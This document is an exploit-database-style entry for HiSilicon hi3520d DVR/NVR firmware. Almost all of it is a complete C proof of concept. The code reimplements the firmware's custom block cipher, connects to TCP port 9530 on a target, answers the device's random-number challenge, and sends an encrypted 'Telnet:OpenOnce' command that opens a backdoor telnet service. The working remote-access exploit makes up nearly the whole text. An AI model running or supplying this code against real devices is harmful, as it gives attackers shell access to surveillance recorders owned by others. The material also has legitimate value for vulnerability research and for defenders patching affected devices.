# Exploit Title: HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account # Dork: N/A # Date: 2020-02-03 # Exploit Author: Snawoot # Vendor Homepage: http://www.hisilicon.com # Product Link: http://www.hisilicon.com/en/Products # Version: hi3520d # Tested on: Linux # CVE: N/A # References: https://habr.com/en/post/486856/ # References: https://github.com/Snawoot/hisilicon-dvr-telnet # References: https://github.com/tothi/pwn-hisilicon-dvr#summary # POC: #include #include #include #include #include #include #include #include typedef unsigned char byte; typedef unsigned int uint; byte state[2048] = {0}; byte datum[] = { 0x20, 0x01, 0x02, 0x03, 0x04, 0x05, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x01, 0x0e, 0x04, 0x0d, 0x01, 0x02, 0x0f, 0x0b, 0x08, 0x03, 0x0a, 0x06, 0x0c, 0x05, 0x09, 0x00, 0x07, 0x00, 0x0f, 0x07, 0x04, 0x0e, 0x02, 0x0d, 0x01, 0x0a, 0x06, 0x0c, 0x0b, 0x09, 0x05, 0x03, 0x08, 0x04, 0x01, 0x0e, 0x08, 0x0d, 0x06, 0x02, 0x0b, 0x0f, 0x0c, 0x09, 0x07, 0x03, 0x0a, 0x05, 0x00, 0x0f, 0x0c, 0x08, 0x02, 0x04, 0x09, 0x01, 0x07, 0x05, 0x0b, 0x03, 0x0e, 0x0a, 0x00, 0x06, 0x0d, 0x0f, 0x01, 0x08, 0x0e, 0x06, 0x0b, 0x03, 0x04, 0x09, 0x07, 0x02, 0x0d, 0x0c, 0x00, 0x05, 0x0a, 0x03, 0x0d, 0x04, 0x07, 0x0f, 0x02, 0x08, 0x0e, 0x0c, 0x00, 0x01, 0x0a, 0x06, 0x09, 0x0b, 0x05, 0x00, 0x0e, 0x07, 0x0b, 0x0a, 0x04, 0x0d, 0x01, 0x05, 0x08, 0x0c, 0x06, 0x09, 0x03, 0x02, 0x0f, 0x0d, 0x08, 0x0a, 0x01, 0x03, 0x0f, 0x04, 0x02, 0x0b, 0x06, 0x07, 0x0c, 0x00, 0x05, 0x0e, 0x09, 0x0a, 0x00, 0x09, 0x0e, 0x06, 0x03, 0x0f, 0x05, 0x01, 0x0d, 0x0c, 0x07, 0x0b, 0x04, 0x02, 0x08, 0x0d, 0x07, 0x00, 0x09, 0x03, 0x04, 0x06, 0x0a, 0x02, 0x08, 0x05, 0x0e, 0x0c, 0x0b, 0x0f, 0x01, 0x0d, 0x06, 0x04, 0x09, 0x08, 0x0f, 0x03, 0x00, 0x0b, 0x01, 0x02, 0x0c, 0x05, 0x0a, 0x0e, 0x07, 0x01, 0x0a, 0x0d, 0x00, 0x06, 0x09, 0x08, 0x07, 0x04, 0x0f, 0x0e, 0x03, 0x0b, 0x05, 0x02, 0x0c, 0x07, 0x0d, 0x0e, 0x03, 0x00, 0x06, 0x09, 0x0a, 0x01, 0x02, 0x08, 0x05, 0x0b, 0x0c, 0x04, 0x0f, 0x0d, 0x08, 0x0b, 0x05, 0x06, 0x0f, 0x00, 0x03, 0x04, 0x07, 0x02, 0x0c, 0x01, 0x0a, 0x0e, 0x09, 0x0a, 0x06, 0x09, 0x00, 0x0c, 0x0b, 0x07, 0x0d, 0x0f, 0x01, 0x03, 0x0e, 0x05, 0x02, 0x08, 0x04, 0x03, 0x0f, 0x00, 0x06, 0x0a, 0x01, 0x0d, 0x08, 0x09, 0x04, 0x05, 0x0b, 0x0c, 0x07, 0x02, 0x0e, 0x02, 0x0c, 0x04, 0x01, 0x07, 0x0a, 0x0b, 0x06, 0x08, 0x05, 0x03, 0x0f, 0x0d, 0x00, 0x0e, 0x09, 0x0e, 0x0b, 0x02, 0x0c, 0x04, 0x07, 0x0d, 0x01, 0x05, 0x00, 0x0f, 0x0a, 0x03, 0x09, 0x08, 0x06, 0x04, 0x02, 0x01, 0x0b, 0x0a, 0x0d, 0x07, 0x08, 0x0f, 0x09, 0x0c, 0x05, 0x06, 0x03, 0x00, 0x0e, 0x0b, 0x08, 0x0c, 0x07, 0x01, 0x0e, 0x02, 0x0d, 0x06, 0x0f, 0x00, 0x09, 0x0a, 0x04, 0x05, 0x03, 0x0c, 0x01, 0x0a, 0x0f, 0x09, 0x02, 0x06, 0x08, 0x00, 0x0d, 0x03, 0x04, 0x0e, 0x07, 0x05, 0x0b, 0x0a, 0x0f, 0x04, 0x02, 0x07, 0x0c, 0x09, 0x05, 0x06, 0x01, 0x0d, 0x0e, 0x00, 0x0b, 0x03, 0x08, 0x09, 0x0e, 0x0f, 0x05, 0x02, 0x08, 0x0c, 0x03, 0x07, 0x00, 0x04, 0x0a, 0x01, 0x0d, 0x0b, 0x06, 0x04, 0x03, 0x02, 0x0c, 0x09, 0x05, 0x0f, 0x0a, 0x0b, 0x0e, 0x01, 0x07, 0x06, 0x00, 0x08, 0x0d, 0x04, 0x0b, 0x02, 0x0e, 0x0f, 0x00, 0x08, 0x0d, 0x03, 0x0c, 0x09, 0x07, 0x05, 0x0a, 0x06, 0x01, 0x0d, 0x00, 0x0b, 0x07, 0x04, 0x09, 0x01, 0x0a, 0x0e, 0x03, 0x05, 0x0c, 0x02, 0x0f, 0x08, 0x06, 0x01, 0x04, 0x0b, 0x0d, 0x0c, 0x03, 0x07, 0x0e, 0x0a, 0x0f, 0x06, 0x08, 0x00, 0x05, 0x09, 0x02, 0x06, 0x0b, 0x0d, 0x08, 0x01, 0x04, 0x0a, 0x07, 0x09, 0x05, 0x00, 0x0f, 0x0e, 0x02, 0x03, 0x0c, 0x0d, 0x02, 0x08, 0x04, 0x06, 0x0f, 0x0b, 0x01, 0x0a, 0x09, 0x03, 0x0e, 0x05, 0x00, 0x0c, 0x07, 0x01, 0x0f, 0x0d, 0x08, 0x0a, 0x03, 0x07, 0x04, 0x0c, 0x05, 0x06, 0x0b, 0x00, 0x0e, 0x09, 0x02, 0x07, 0x0b, 0x04, 0x01, 0x09, 0x0c, 0x0e, 0x02, 0x00, 0x06, 0x0a, 0x0d, 0x0f, 0x03, 0x05, 0x08, 0x02, 0x01, 0x0e, 0x07, 0x04, 0x0a, 0x08, 0x0d, 0x0f, 0x0c, 0x09, 0x00, 0x03, 0x05, 0x06, 0x0b, 0x10, 0x07, 0x14, 0x15, 0x1d, 0x0c, 0x1c, 0x11, 0x01, 0x0f, 0x17, 0x1a, 0x05, 0x12, 0x1f, 0x0a, 0x02, 0x08, 0x18, 0x0e, 0x20, 0x1b, 0x03, 0x09, 0x13, 0x0d, 0x1e, 0x06, 0x16, 0x0b, 0x04, 0x19, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3c, 0x34, 0x2c, 0x24, 0x1c, 0x14, 0x0c, 0x04, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3b, 0x33, 0x2b, 0x23, 0x1b, 0x13, 0x0b, 0x03, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xf4, 0x63, 0x01, 0x00, 0x28, 0x08, 0x30, 0x10, 0x38, 0x18, 0x40, 0x20, 0x27, 0x07, 0x2f, 0x0f, 0x37, 0x17, 0x3f, 0x1f, 0x26, 0x06, 0x2e, 0x0e, 0x36, 0x16, 0x3e, 0x1e, 0x25, 0x05, 0x2d, 0x0d, 0x35, 0x15, 0x3d, 0x1d, 0x24, 0x04, 0x2c, 0x0c, 0x34, 0x14, 0x3c, 0x1c, 0x23, 0x03, 0x2b, 0x0b, 0x33, 0x13, 0x3b, 0x1b, 0x22, 0x02, 0x2a, 0x0a, 0x32, 0x12, 0x3a, 0x1a, 0x21, 0x01, 0x29, 0x09, 0x31, 0x11, 0x39, 0x19, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3b, 0x33, 0x2b, 0x23, 0x1b, 0x13, 0x0b, 0x03, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x1c, 0x14, 0x0c, 0x04, 0x50, 0x64, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x0e, 0x11, 0x0b, 0x18, 0x01, 0x05, 0x03, 0x1c, 0x0f, 0x06, 0x15, 0x0a, 0x17, 0x13, 0x0c, 0x04, 0x1a, 0x08, 0x10, 0x07, 0x1b, 0x14, 0x0d, 0x02, 0x29, 0x34, 0x1f, 0x25, 0x2f, 0x37, 0x1e, 0x28, 0x33, 0x2d, 0x21, 0x30, 0x2c, 0x31, 0x27, 0x38, 0x22, 0x35, 0x2e, 0x2a, 0x32, 0x24, 0x1d, 0x20 }; void init_cipher_offset_vector(byte *dst,byte *src,int size) { int i; i = 0; while (i < size) { dst[i] = (byte)((int)(uint)src[i >> 3] >> (i & 7U)) & 1; i = i + 1; } return; } void apply_cipher_offset_vector(byte *dst,byte *src,byte *offset_vector,size_t size) { int i; i = 0; while (i < (int)size) { state[i] = src[(uint)offset_vector[i] - 1]; i = i + 1; } memcpy(dst,state,size); return; } void cipher_memcpy_shuffle(void *dst,size_t size) { memcpy(state,dst,size); memcpy(dst,(void *)(dst + size),0x1c - size); memcpy((void *)(dst + (0x1c - size)),state,size); return; } void init_cipher_state(void *dst,void *src) { byte current_byte; int i; init_cipher_offset_vector(state + 0x190,(byte *)src,0x40); apply_cipher_offset_vector(state + 0x190,state + 0x190,datum + 0x2d4,0x38); i = 0; do { current_byte = (datum + 0x310)[i]; i = i + 1; cipher_memcpy_shuffle(state + 0x190,(uint)current_byte); cipher_memcpy_shuffle(state + 0x190 + 0x1c,(uint)current_byte); apply_cipher_offset_vector((byte *)dst,state + 0x190,datum + 0x320,0x30); dst = (byte *)dst + 0x30; } while (i != 0x10); return; } void cipher_xor(byte *data,byte *key,int size) { int i; i = 0; while (i < size) { data[i] = key[i] ^ data[i]; i = i + 1; } return; } void prepare_key(void *key,size_t key_size) { size_t __n; memset(state + 0x1d0,0,0x10); __n = key_size; if (0xf < (int)key_size) { __n = 0x10; } memcpy(state + 0x1d0,key,__n); init_cipher_state(state + 0x1e0,state + 0x1d0); if (8 < (int)key_size) { init_cipher_state(state + 0x4e0,state + 0x1d8); } *(state + 0x7e0) = 8 < (int)key_size; // !!!! recheck size return; } void cipher_shuffle(byte *dst,byte *src) { byte *caretPtr; int iVar1; byte *ptr; int i; apply_cipher_offset_vector(state + 0x100,dst,datum,0x30); cipher_xor(state + 0x100,src,0x30); ptr = state + 0x100; i = 0; do { iVar1 = i + (uint)ptr[5] + (uint)*ptr * 2; caretPtr = dst + i; i = i + 4; init_cipher_offset_vector (caretPtr,datum + 0x30 + (uint)ptr[2] * 4 + (uint)ptr[1] * 8 + (uint)ptr[4] + (uint)ptr[3] * 2 + iVar1 * 0x10,4); ptr = ptr + 6; } while (i != 0x20); apply_cipher_offset_vector(dst,dst,datum + 0x230,0x20); return; } void cipher_box(byte *result,byte *data,byte *offset_vector,int direction) { uint i; byte *backward_ov_ptr; byte *forward_ov_ptr; int iVar3; init_cipher_offset_vector(state + 0x130,data,0x40); apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x250,0x40); if (direction == 0) { forward_ov_ptr = offset_vector + 0x300; do { memcpy(state + 0x170,state + 0x150,0x20); cipher_shuffle(state + 0x150,offset_vector); cipher_xor(state + 0x150,state + 0x130,0x20); memcpy(state + 0x130, state + 0x170, 0x20); offset_vector = offset_vector + 0x30; } while (offset_vector != forward_ov_ptr); } else { backward_ov_ptr = offset_vector + 0x2d0; do { memcpy(state + 0x170,state + 0x130,0x20); cipher_shuffle(state + 0x130,backward_ov_ptr); cipher_xor(state + 0x130,state + 0x150,0x20); backward_ov_ptr -= 0x30; memcpy(state + 0x150,state + 0x170,0x20); } while (backward_ov_ptr != offset_vector + -0x30); } apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x294,0x40); memset(result,0,8); i = 0; do { result[i >> 3] = result[i >> 3] | *(char *)(state + 0x130 + i) << (i & 7); i = i + 1; } while (i != 0x40); return; } int decrypt(char *result,char *data,uint data_len,char *key,uint key_len) { uint short_key_iter; int curBlockNumber; int blockCount; if (((result != (char *)0x0 && data != (char *)0x0) && (curBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) { prepare_key(key,key_len); blockCount = (int)(data_len + 7) >> 3; short_key_iter = *(state + 0x7e0); if (*(state + 0x7e0) == 0) { while ((int)short_key_iter < blockCount) { cipher_box((byte *)result,(byte *)data,state + 0x1e0,1); short_key_iter = short_key_iter + 1; result = (char *)((byte *)result + 8); data = (char *)((byte *)data + 8); } } else { while (curBlockNumber < blockCount) { cipher_box((byte *)result,(byte *)data,state + 0x1e0,1); cipher_box((byte *)result,(byte *)result,state + 0x4e0,0); cipher_box((byte *)result,(byte *)result,state + 0x1e0,1); curBlockNumber = curBlockNumber + 1; result = (char *)((byte *)result + 8); data = (char *)((byte *)data + 8); } } return 0; } return -1; } int encrypt(char *result,char *data,uint data_len,char *key,uint key_size) { uint uVar2; int currentBlockNumber; int blocksCount; if (((result != (char *)0x0 && data != (char *)0x0) && (currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) { prepare_key(key,key_size); blocksCount = (int)(data_len + 7) >> 3; uVar2 = *(state + 0x7e0); if (*(state + 0x7e0) == 0) { while ((int)uVar2 < blocksCount) { cipher_box((byte *)result,(byte *)data,state + 0x1e0,0); uVar2 = uVar2 + 1; result = (char *)((byte *)result + 8); data = (char *)((byte *)data + 8); } } else { while (currentBlockNumber < blocksCount) { cipher_box((byte *)result,(byte *)data,state + 0x1e0,0); cipher_box((byte *)result,(byte *)result,state + 0x4e0,1); cipher_box((byte *)result,(byte *)result,state + 0x1e0,0); currentBlockNumber = currentBlockNumber + 1; result = (char *)((byte *)result + 8); data = (char *)((byte *)data + 8); } } return 0; } return -1; } void tohex(unsigned char * in, size_t insz, char * out, size_t outsz) { unsigned char * pin = in; const char * hex = "0123456789ABCDEF"; char * pout = out; for(; pin < in+insz; pout +=3, pin++){ pout[0] = hex[(*pin>>4) & 0xF]; pout[1] = hex[ *pin & 0xF]; pout[2] = ':'; if (pout + 3 - out > outsz){ /* Better to truncate output string than overflow buffer */ /* it would be still better to either return a status */ /* or ensure the target buffer is large enough and it never happen */ break; } } pout[-1] = 0; } char netbuf[4096]; #define PADDED(X) (((X + 7) / 8) * 8) #define PORT 9530 #define BUFSIZE sizeof(netbuf) #define CMD_FIRST "OpenTelnet:OpenOnce" #define CHALLENGE_PROLOGUE "randNum:" #define VERIFY_OK "verify:OK" #define CMD_FINAL "CMD:" #define FINAL_PAYLOAD "Telnet:OpenOnce" #define OPEN_OK "Open:OK" ssize_t send_str(int sockfd, char *str, size_t len) { if (len > 0xFE) { return -1; } char buf[len+1]; buf[0] = len + 1; memcpy(buf + 1, str, len); return send(sockfd, buf, len + 1, 0); } int main(int argc, char* argv[]) { int sockfd, numbytes; struct hostent *he; struct sockaddr_in their_addr; if (argc != 3) { fprintf(stderr, "Usage: %s \n", argv[0]); return 2; } if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */ herror("gethostbyname"); return 1; } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); return 1; } their_addr.sin_family = AF_INET; /* host byte order */ their_addr.sin_port = htons(PORT); /* short, network byte order */ their_addr.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */ if (connect(sockfd, (struct sockaddr *)&their_addr, \ sizeof(struct sockaddr)) == -1) { perror("connect"); return 1; } if (send_str(sockfd, CMD_FIRST, sizeof(CMD_FIRST)) == -1) { perror("send"); return 1; } printf("Sent %s command.\n", CMD_FIRST); bzero(netbuf, BUFSIZE); if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) { perror("recv"); return 1; } puts(netbuf); if (memcmp(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1) != 0) { fprintf(stderr, "No challenge received.\n"); return 3; } char *seed = netbuf + sizeof(CHALLENGE_PROLOGUE) - 1; char challengeStr[strlen(seed) + strlen(argv[2]) + 1]; size_t challengeLen = sprintf(challengeStr, "%s%s", seed, argv[2]); printf("challenge=%s\n", challengeStr); char encryptedRandomSeed[PADDED(challengeLen)]; encrypt(encryptedRandomSeed, seed, strlen(seed), challengeStr, challengeLen); memcpy(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1); memcpy(netbuf + sizeof(CHALLENGE_PROLOGUE) - 1, encryptedRandomSeed, PADDED(challengeLen)); if (send_str(sockfd, netbuf, sizeof(CHALLENGE_PROLOGUE) - 1 + PADDED(challengeLen)) == -1) { perror("send"); return 1; } bzero(netbuf, BUFSIZE); if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) { perror("recv"); return 1; } puts(netbuf); if (memcmp(netbuf, VERIFY_OK, sizeof(VERIFY_OK) - 1) != 0) { fprintf(stderr, "Verification failed.\n"); return 4; } char encryptedFinal[PADDED(sizeof(FINAL_PAYLOAD))]; encrypt(encryptedFinal, FINAL_PAYLOAD, sizeof(FINAL_PAYLOAD), challengeStr, challengeLen); memcpy(netbuf, CMD_FINAL, sizeof(CMD_FINAL) - 1); memcpy(netbuf + sizeof(CMD_FINAL) - 1, encryptedFinal, sizeof(encryptedFinal)); if (send_str(sockfd, netbuf, sizeof(CMD_FINAL) - 1 + sizeof(encryptedFinal)) == -1) { perror("send"); return 1; } bzero(netbuf, BUFSIZE); if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) { perror("recv"); return 1; } puts(netbuf); if (memcmp(netbuf, OPEN_OK, sizeof(OPEN_OK) - 1)) { fprintf(stderr, "Open failed.\n"); return 5; } return 0; } #